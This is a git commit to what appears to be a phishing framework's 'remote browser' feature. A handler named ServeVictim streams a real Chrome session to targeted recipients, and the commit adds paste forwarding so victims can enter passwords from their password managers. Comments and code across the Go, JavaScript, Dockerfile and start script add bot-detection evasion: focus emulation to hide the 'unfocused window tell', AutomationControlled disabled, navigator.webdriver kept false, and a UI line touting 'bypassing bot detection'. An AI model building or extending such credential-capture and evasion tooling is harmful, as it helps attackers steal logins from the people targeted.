fix remote browser improved remote support

Signed-off-by: RonniSkansing <rskansing@gmail.com>
This commit is contained in:
RonniSkansing
2026-07-24 21:34:58 +02:00
parent 36e6c7aa7a
commit a2b50f8442
7 changed files with 384 additions and 15 deletions
+12
View File
@@ -34,6 +34,18 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
libxext6 \
&& rm -rf /var/lib/apt/lists/*
# headful chrome support. xvfb provides the display, one per browser session so
# sessions cannot read each other through X, and chrome draws its window with gtk
# and uses the screensaver, xtest and input extensions
RUN apt-get update && apt-get install -y --no-install-recommends \
xvfb \
libgtk-3-0 \
libxss1 \
libxtst6 \
libxi6 \
libxcursor1 \
&& rm -rf /var/lib/apt/lists/*
# install deps
#RUN go install github.com/cosmtrek/air@latest \
#RUN go install github.com/go-delve/delve/cmd/dlv@1.9.1
+43
View File
@@ -17,6 +17,7 @@ import (
"sync"
"sync/atomic"
"time"
"unicode/utf8"
"github.com/gin-gonic/gin"
"github.com/go-rod/rod"
@@ -702,6 +703,15 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
streamMouseMoveLast := map[string]time.Time{}
const streamMouseMoveMinInterval = 16 * time.Millisecond
// Paste is the only recipient input carrying a payload, and it is the only
// one whose cost in the browser scales with its size. In remote mode one
// browser serves every session, so an unbounded paste loop from a single
// recipient would degrade all of them. Bound both size and rate: an address
// or a password never comes close to the cap.
var streamPasteLast time.Time
const streamPasteMaxLen = 4096
const streamPasteMinInterval = 200 * time.Millisecond
for {
_, msg, err := conn.ReadMessage()
if err != nil {
@@ -733,6 +743,7 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
KeyCode int64 `json:"keyCode"`
Modifiers int64 `json:"modifiers"`
CharText string `json:"charText"`
Text string `json:"text"`
Width float64 `json:"width"`
Height float64 `json:"height"`
Dpr float64 `json:"dpr"`
@@ -765,6 +776,33 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
}
if val, exists := activeNamedStreams.Load(cmd.Name); exists {
si := val.(*streamInfo)
// Paste carries text, not a position, so it must not go through
// the coordinate mapping below, which drops the event whenever the
// stream box is not measured yet.
if cmd.Action == "paste" {
now := time.Now()
if cmd.Text == "" || now.Sub(streamPasteLast) < streamPasteMinInterval {
continue
}
streamPasteLast = now
text := cmd.Text
if len(text) > streamPasteMaxLen {
// Cut back to a rune boundary so a multi byte character
// split by the cap does not reach Chrome as broken UTF-8.
text = text[:streamPasteMaxLen]
for len(text) > 0 && !utf8.ValidString(text) {
text = text[:len(text)-1]
}
}
if page := sess.getBrowserPage(); page != nil {
payload, _ := json.Marshal(map[string]interface{}{
"type": "paste",
"text": text,
})
m.dispatchInput(page, payload)
}
continue
}
// cmd.X/Y are in cropped-canvas JPEG pixels; map back to CDP CSS coords.
cdpX, cdpY, ok := si.getInputCoords(cmd.X, cmd.Y)
if ok {
@@ -1299,6 +1337,11 @@ func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) {
if err != nil {
return false
}
// Focus emulation is set per target, so a popup starts without it and
// falls back to the real window focus. Only one window can hold that,
// which would leave a background popup reporting itself unfocused and
// stop it rendering.
proto.EmulationSetFocusEmulationEnabled{Enabled: true}.Call(newPage) //nolint:errcheck
tabsMu.Lock()
tabs[info.TargetID] = &tabEntry{page: newPage, url: info.URL}
tabsMu.Unlock()
+37
View File
@@ -191,9 +191,28 @@
}, { passive: false });
}
// isPasteCombo reports the paste shortcut. Its default action must run so the
// browser fires a paste event, and the key itself must not be forwarded: the
// remote browser would paste from its own clipboard, which lives on the
// server and holds nothing the person in front of this page copied.
// Shift+Insert pastes on Linux and Windows just like Ctrl+V.
function isPasteCombo(e) {
if ((e.ctrlKey || e.metaKey) && !e.altKey && (e.key === 'v' || e.key === 'V')) return true;
return e.shiftKey && !e.ctrlKey && !e.metaKey && e.key === 'Insert';
}
// Releasing the modifier before the letter leaves a keyup whose modifier
// flags no longer say paste. Forwarding it would send the remote page a
// keyup with no matching keydown, so remember which keys were held back.
var suppressedKeys = {};
// Arrow keys: always preventDefault (prevent page scroll when canvas is focused),
// but only forwarded to the remote browser when { arrowKeys: true }.
canvas.addEventListener('keydown', function (e) {
if (isPasteCombo(e)) {
suppressedKeys[e.code || e.key] = true;
return;
}
var isArrow = !!ARROW_KEYS[e.key];
e.preventDefault();
if (isArrow && !allowArrows) return;
@@ -204,6 +223,11 @@
});
canvas.addEventListener('keyup', function (e) {
var held = e.code || e.key;
if (isPasteCombo(e) || suppressedKeys[held]) {
delete suppressedKeys[held];
return;
}
var isArrow = !!ARROW_KEYS[e.key];
e.preventDefault();
if (isArrow && !allowArrows) return;
@@ -212,6 +236,19 @@
modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0) });
});
// Paste carries its text on the event itself, so filling a form from a
// password manager or from a copied address works without asking for
// clipboard permission, which would put a browser prompt in front of the
// page. Only what is pasted into this canvas is read, never the clipboard
// on its own. The server turns it into Input.insertText on the remote page.
canvas.addEventListener('paste', function (e) {
e.preventDefault();
var data = e.clipboardData || window.clipboardData;
var text = data ? data.getData('text') : '';
if (!text) return;
snd({ type: 'stream_input', name: name, action: 'paste', text: text });
});
canvas.addEventListener('contextmenu', function (e) { e.preventDefault(); });
}
};
+163 -14
View File
@@ -13,7 +13,9 @@ import (
"path/filepath"
"regexp"
"strings"
"sync"
"sync/atomic"
"syscall"
"time"
"go.uber.org/zap"
@@ -210,6 +212,94 @@ func resolveBrowserRootDir() (string, error) {
return filepath.Join(filepath.Dir(execPath), "data", "browser"), nil
}
// xvfbScreen is the geometry of a session's private display. The recipient's real
// viewport and screen metrics are applied over CDP after the page opens, so this
// only has to be large enough to hold the browser window.
const xvfbScreen = "1920x1080x24"
// x11SocketDir is where X servers place their per display sockets. Xvfb does not
// create it, so a bare container image where nothing else has made it would leave
// the server unable to open a socket. Creating it here keeps headful working
// without adding a step to every Dockerfile.
const x11SocketDir = "/tmp/.X11-unix"
// startPrivateDisplay launches an Xvfb dedicated to a single browser session and
// returns its display name together with a stop function.
//
// Sessions get a display each instead of sharing one for two reasons. A dedicated
// display means the browser window is the only window on it, so no two sessions
// can compete for the foreground, which is what previously froze every session but
// the most recent one. It also stops the accidental crossover a shared display
// allows, where any client can read the windows and input of every other client
// on it. This is not a boundary against a hostile escaped renderer: every browser
// runs as the same user, so such code could reach a sibling display regardless.
// That case is the already accepted remote browser RCE risk; guarding it would
// need separate users or namespaces, not an X cookie, which the same user can read.
//
// Xvfb chooses the display number itself and reports it back on the descriptor
// passed with -displayfd, so concurrent sessions never race for the same number.
func startPrivateDisplay() (string, func(), error) {
// Best effort: usually already present. If creating it was actually needed
// and failed, the read below surfaces the concrete failure.
_ = os.MkdirAll(x11SocketDir, 0o777)
pr, pw, err := os.Pipe()
if err != nil {
return "", nil, err
}
cmd := exec.Command("Xvfb", "-displayfd", "3", "-screen", "0", xvfbScreen, "-nolisten", "tcp", "-noreset")
cmd.ExtraFiles = []*os.File{pw} // the child sees this as descriptor 3
if err := cmd.Start(); err != nil {
pr.Close() //nolint:errcheck
pw.Close() //nolint:errcheck
return "", nil, fmt.Errorf("xvfb start failed: %w", err)
}
// Xvfb owns the write end now. Dropping ours means a read returns instead of
// blocking if the server dies before reporting a display.
pw.Close() //nolint:errcheck
exited := make(chan error, 1)
go func() { exited <- cmd.Wait() }()
var stopOnce sync.Once
stop := func() {
stopOnce.Do(func() {
if cmd.Process != nil {
// SIGTERM first so Xvfb removes its own lock file and socket;
// SIGKILL would strand both and slowly litter /tmp.
cmd.Process.Signal(syscall.SIGTERM) //nolint:errcheck
select {
case <-exited:
case <-time.After(3 * time.Second):
cmd.Process.Kill() //nolint:errcheck
<-exited
}
}
pr.Close() //nolint:errcheck
})
}
pr.SetReadDeadline(time.Now().Add(10 * time.Second)) //nolint:errcheck
var out []byte
chunk := make([]byte, 16)
for !bytes.ContainsRune(out, '\n') && len(out) < 32 {
n, readErr := pr.Read(chunk)
if n > 0 {
out = append(out, chunk[:n]...)
}
if readErr != nil {
stop()
return "", nil, fmt.Errorf("xvfb did not report a display: %w", readErr)
}
}
num := strings.TrimSpace(string(out))
if num == "" {
stop()
return "", nil, errors.New("xvfb reported an empty display")
}
return ":" + num, stop, nil
}
// chromeSterrWriter is an io.Writer that fans Chrome stdout/stderr lines out to
// the session emitter (when emitter != nil) and/or the app logger (when logger != nil).
type chromeSterrWriter struct {
@@ -664,6 +754,33 @@ func (r *Runner) Run(ctx context.Context) error {
emitter.errorf(fmt.Sprintf("browser connect failed: %v", connectErr))
return goja.Undefined()
}
// Every session runs in its own browser context. All sessions share one
// remote browser, so on the default context they would also share one
// cookie jar, one localStorage and one cache: a session captured for one
// recipient would be readable from the page of any other recipient
// running at the same time. A browser context keeps that storage separate
// and discards all of it when the context is disposed.
//
// DisposeOnDetach makes the browser drop the context when this control
// connection goes away, which covers the paths where the session ends
// without running its own cleanup: victim disconnect, script timeout,
// operator cancel, and a server crash.
ctxRes, ctxErr := (proto.TargetCreateBrowserContext{DisposeOnDetach: true}).Call(browser)
if ctxErr != nil {
// Do not close the browser here. It is shared with every other
// session and closing it would end all of them.
emitter.errorf(fmt.Sprintf("browser context create failed: %v", ctxErr))
return goja.Undefined()
}
// Rebind to the new context. rod carries BrowserContextID into every
// target it creates, and its Close disposes the context instead of the
// whole browser once the field is set, so from here on the shared remote
// browser is never closed by this session.
isolated := *browser
isolated.BrowserContextID = ctxRes.BrowserContextID
browser = &isolated
emitter.log(fmt.Sprintf("[session] isolated browser context %s", ctxRes.BrowserContextID))
var pageErr error
page, pageErr = browser.Page(proto.TargetCreateTarget{URL: "about:blank"})
if pageErr != nil {
@@ -699,6 +816,34 @@ func (r *Runner) Run(ctx context.Context) error {
}
chromeLogger = cw
}
chromeVars := []string{
"XDG_CONFIG_HOME=" + filepath.Join(rootDir, "config"),
"XDG_CACHE_HOME=" + filepath.Join(rootDir, "cache"),
}
// Headful needs a display, and it has to be one this session alone owns.
if !opts.Headless {
display, stopDisplay, dispErr := startPrivateDisplay()
switch {
case dispErr == nil:
emitter.log(fmt.Sprintf("[session] private display %s", display))
go func() {
<-outerCtx.Done()
stopDisplay()
}()
// Appended last so it beats any DISPLAY inherited from the
// server process: the last value wins once the environment is
// deduplicated on the way to the browser.
chromeVars = append(chromeVars, "DISPLAY="+display)
case os.Getenv("DISPLAY") != "":
// A desktop session already has a display. Use it rather than
// failing, and say so, because it is shared with everything
// else drawing on that desktop.
emitter.log(fmt.Sprintf("[session] warning: no private display (%v), falling back to the shared %s", dispErr, os.Getenv("DISPLAY")))
default:
emitter.errorf(fmt.Sprintf("headful browser needs a display: %v", dispErr))
return goja.Undefined()
}
}
l := launcher.New().
Headless(opts.Headless).
Logger(chromeLogger).
@@ -706,10 +851,7 @@ func (r *Runner) Run(ctx context.Context) error {
Set("crash-dumps-dir", crashDir).
Set("disable-blink-features", "AutomationControlled").
Delete("enable-automation").
Env(chromeEnv(
"XDG_CONFIG_HOME="+filepath.Join(rootDir, "config"),
"XDG_CACHE_HOME="+filepath.Join(rootDir, "cache"),
)...)
Env(chromeEnv(chromeVars...)...)
var binPath string
if r.ExecPath != "" {
@@ -834,6 +976,18 @@ func (r *Runner) Run(ctx context.Context) error {
applyRemoteIdentity(page, opts.UserAgent, emitter)
}
// Headful Chrome ties a page's focus and render pipeline to the state of its
// operating system window, and one browser or one display can only ever have
// a single foreground window. Concurrent sessions would then fight over it:
// whichever page was raised last keeps rendering while the rest are treated
// as background, stop producing screencast frames, and report
// document.hasFocus() false. Focus emulation detaches the page from that
// window state, so every session renders and reads as focused at the same
// time. It also removes the unfocused window tell in headful mode.
if err := (proto.EmulationSetFocusEmulationEnabled{Enabled: true}).Call(page); err != nil {
emitter.log(fmt.Sprintf("[session] warning: focus emulation failed: %v", err))
}
// Timezone override keeps the navigator/Intl timezone aligned with the exit
// network's geolocation. Left to the operator because only they know the
// proxy/exit location; an unset value keeps the host timezone.
@@ -887,11 +1041,10 @@ func (r *Runner) Run(ctx context.Context) error {
session.Set("close", func(call goja.FunctionCall) goja.Value {
emitter.log("[session] closing")
if opts.Remote != "" {
page.Close() //nolint:errcheck
} else {
browser.Close() //nolint:errcheck
}
// Both branches call Close on the browser handle, and in remote mode
// that handle is bound to this session's browser context, so it
// disposes the context and its storage rather than the shared browser.
browser.Close() //nolint:errcheck
return goja.Undefined()
})
@@ -974,11 +1127,7 @@ func (r *Runner) Run(ctx context.Context) error {
return goja.Undefined()
case <-idleCh:
emitter.log(fmt.Sprintf("[session] idle timeout (%dms), closing", opts.IdleTimeout))
if opts.Remote != "" {
page.Close() //nolint:errcheck
} else {
browser.Close() //nolint:errcheck
}
browser.Close() //nolint:errcheck
return goja.Undefined()
case msg := <-r.Incoming:
resetIdle()
+57
View File
@@ -0,0 +1,57 @@
# development docker file
# real Google Chrome running headful on a virtual X display, used by the
# remote browser feature over the DevTools protocol
FROM debian:bookworm-slim@sha256:7b140f374b289a7c2befc338f42ebe6441b7ea838a042bbd5acbfca6ec875818
# chrome is pinned by version and checksum. to upgrade read the current values from
# https://dl.google.com/linux/chrome/deb/dists/stable/main/binary-amd64/Packages
ARG CHROME_VERSION=150.0.7871.186-1
ARG CHROME_SHA256=4193e00b6d5d5969ee63f7a69596868f546aa0e8cb077b3e0bf9cc1e2c719d00
# xvfb provides the display, openbox gives chrome a focused window, x11vnc plus
# novnc make the display watchable from a browser, socat republishes the loopback
# only devtools port on the container network
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates \
curl \
xvfb \
openbox \
x11vnc \
novnc \
websockify \
socat \
tini \
fonts-liberation \
fonts-noto-color-emoji \
&& rm -rf /var/lib/apt/lists/*
RUN curl -fsSL -o /tmp/chrome.deb \
"https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${CHROME_VERSION}_amd64.deb" \
&& echo "${CHROME_SHA256} /tmp/chrome.deb" | sha256sum -c - \
&& apt-get update \
&& apt-get install -y --no-install-recommends /tmp/chrome.deb \
&& rm -f /tmp/chrome.deb \
&& rm -rf /var/lib/apt/lists/*
# google ships a daily apt cron and a repo entry with the package. neither is
# wanted here because the version is pinned above
RUN rm -f /etc/cron.daily/google-chrome /etc/apt/sources.list.d/google-chrome.list
RUN groupadd -g 1000 chrome && \
useradd -u 1000 -g chrome -m -d /home/chrome chrome
# an empty named volume inherits the permissions of the image directory it is
# mounted over, so the socket dir must be world writable before the volume exists
RUN mkdir -p /tmp/.X11-unix && chmod 1777 /tmp/.X11-unix
COPY start.sh /usr/local/bin/start.sh
RUN chmod +x /usr/local/bin/start.sh
USER chrome
WORKDIR /home/chrome
EXPOSE 8109 9222
# -g forwards signals to the whole process group so xvfb, openbox and the vnc
# stack stop with chrome instead of lingering
ENTRYPOINT ["/usr/bin/tini", "-g", "--", "/usr/local/bin/start.sh"]
+71
View File
@@ -0,0 +1,71 @@
#!/bin/sh
# starts the virtual display, a window manager, the vnc viewer stack and chrome.
# every background process is killed when this script exits so the container
# stops cleanly instead of leaving a half dead display behind.
set -eu
DISPLAY_NUM="${DISPLAY_NUM:-99}"
SCREEN="${SCREEN:-1920x1080x24}"
DEVTOOLS_PORT="${DEVTOOLS_PORT:-9222}"
NOVNC_PORT="${NOVNC_PORT:-8109}"
# chrome binds devtools to loopback only, so it listens on a private port and
# socat republishes it on the container network below
CHROME_DEVTOOLS_PORT=9223
VNC_PORT=5900
WIDTH="${SCREEN%%x*}"
HEIGHT_DEPTH="${SCREEN#*x}"
HEIGHT="${HEIGHT_DEPTH%%x*}"
export DISPLAY=":${DISPLAY_NUM}"
cleanup() {
trap - EXIT INT TERM
kill 0 2>/dev/null || true
}
trap cleanup EXIT INT TERM
# the X socket is created inside a shared volume so other containers can render
# on this display too. access control is off because the socket is only reachable
# through that volume, never over the network
Xvfb "$DISPLAY" -screen 0 "$SCREEN" -ac -noreset \
+extension RANDR +extension GLX +render &
for _ in $(seq 1 100); do
[ -S "/tmp/.X11-unix/X${DISPLAY_NUM}" ] && break
sleep 0.1
done
if [ ! -S "/tmp/.X11-unix/X${DISPLAY_NUM}" ]; then
echo "xvfb failed to create a display socket" >&2
exit 1
fi
# without a window manager the chrome window never takes X focus, which leaves
# document.hasFocus() false for every page and is a strong bot signal
openbox &
x11vnc -display "$DISPLAY" -rfbport "$VNC_PORT" -localhost -forever -shared -nopw -quiet &
websockify --web=/usr/share/novnc "$NOVNC_PORT" "127.0.0.1:${VNC_PORT}" &
# devtools refuses requests whose Host header is neither localhost nor an IP,
# so connect to this container by IP rather than by service name
socat "TCP-LISTEN:${DEVTOOLS_PORT},fork,reuseaddr" "TCP:127.0.0.1:${CHROME_DEVTOOLS_PORT}" &
# launching chrome by hand rather than through an automation library keeps the
# enable-automation switch off, so navigator.webdriver stays false
exec google-chrome-stable \
--remote-debugging-address=127.0.0.1 \
--remote-debugging-port="${CHROME_DEVTOOLS_PORT}" \
--user-data-dir=/home/chrome/profile \
--window-position=0,0 \
--window-size="${WIDTH},${HEIGHT}" \
--no-first-run \
--no-default-browser-check \
--disable-blink-features=AutomationControlled \
--password-store=basic \
--use-mock-keychain \
${CHROME_LANG:+--lang=${CHROME_LANG}} \
${CHROME_PROXY:+--proxy-server=${CHROME_PROXY}} \
${CHROME_EXTRA_FLAGS:-} \
about:blank
@@ -1112,7 +1112,7 @@ declare var Infinity: number;
{#if cfgMode === 'local'}
Spawns an isolated Chrome process per session.
{:else}
Connect to a Chrome you launched yourself real OS fingerprint, GPU, profile, and extensions. Best for bypassing bot detection.
Connect to a Chrome you launched yourself - real OS fingerprint, GPU, profile, and extensions. Best for bypassing bot detection.
{/if}
</p>
</div>